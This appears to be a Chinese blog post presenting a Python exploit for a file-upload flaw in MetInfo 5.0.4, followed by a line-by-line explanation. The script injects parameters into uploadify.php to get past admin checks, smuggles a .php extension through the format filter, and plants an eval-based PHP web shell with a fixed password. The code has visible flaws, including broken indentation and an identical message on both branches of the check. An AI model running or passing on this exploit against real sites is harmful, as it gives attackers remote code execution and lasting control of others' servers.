简单文件上传EXP

import requests

url = "http://192.168.177.167/MetInfo5.0.4"

headers = {
 "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36 Edg/113.0.1774.42"
}

def checkvul(url):
   path = "/admin/include/uploadify.php"
   if requests.get(url=url+path, headers=headers).status_code == 200:
     print("[INFO] vul is exists!")
     return True
   else:
      print("[INFO] vul is exists!")
      return False

def attack(url):
     paylaod = "/admin/include/uploadify.php"
     paylaod += "?metinfo_admin_id=a"
     paylaod += "&metinfo_admin_pass=admin"
     paylaod += "&met_admin_table=met_admin_table%23"
     paylaod += "&type=upfile"
     paylaod += "&met_file_format=jpg|pphphp"

files = {
      "Filedata": ("sh.php", "<?php @eval($_REQUEST[777]);phpinfo();?>", "image/png")
 }

res = requests.post(url=url+paylaod, headers=headers, files=files)

shell_url = f"{url}/{res.text[5:]}"
print(f"shell_url is {shell_url}")

if requests.get(shell_url).status_code == 200:
     print(f"[RESULT]\n Shell: {shell_url}\n password is: 777")

if checkvul(url):
     attack(url=url)

代码详解:

这段代码是一个简单的漏洞利用脚本。下面我会逐步解释每个部分的功能和作用。

首先,通过import requests导入了一个名为requests的库,用于发送HTTP请求。

然后,定义了一个变量url,用于存储目标网站的URL,这里是"http://192.168.177.167/MetInfo5.0.4",即目标站点。

接下来,定义了一个名为headers的字典,存储了HTTP请求的头部信息。这个头部信息中包含了用户代理(User-Agent)字符串,用于伪装成浏览器进行请求。这里使用了Chrome浏览器的User-Agent字符串。

接下来是checkvul函数的定义,该函数用于检测漏洞是否存在。函数的参数是一个URL。

checkvul函数中,定义了一个变量path,存储了漏洞检测的路径"/admin/include/uploadify.php"。

接下来,通过发送一个GET请求到目标URL+路径,并带上前面定义的头部信息。然后检查响应的状态码是否为200。如果是200,表示漏洞存在,打印"[INFO] vul is exists!“,并返回True;否则,打印”[INFO] vul is not exists!",并返回False。

接下来是attack函数的定义,该函数用于攻击目标站点。函数的参数也是一个URL。

attack函数中,定义了一个变量payload,存储了攻击所使用的负载。这个负载是一系列参数的拼接,用于构造攻击请求的URL。

然后,定义了一个名为files的字典,存储了一个文件上传的参数。这个文件上传的参数包括文件的元数据和内容。

接下来,通过发送一个POST请求到目标URL+负载路径,并带上前面定义的头部信息和文件参数。然后将响应的内容赋值给变量res

然后使用切片操作,从res的第5个字符开始截取字符串,构造出一个shell_url

接下来打印出shell_url,用于显示攻击成功后的shell的URL。

然后,通过发送一个GET请求到shell_url,并检查响应的状态码是否为200。如果是200,表示攻击成功,打印 “[RESULT]\n Shell: {shell_url}\n password is: 777”。

最后,通过调用checkvul函数,检测漏洞是否存在,如果漏洞存在,则调用attack函数进行攻击。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值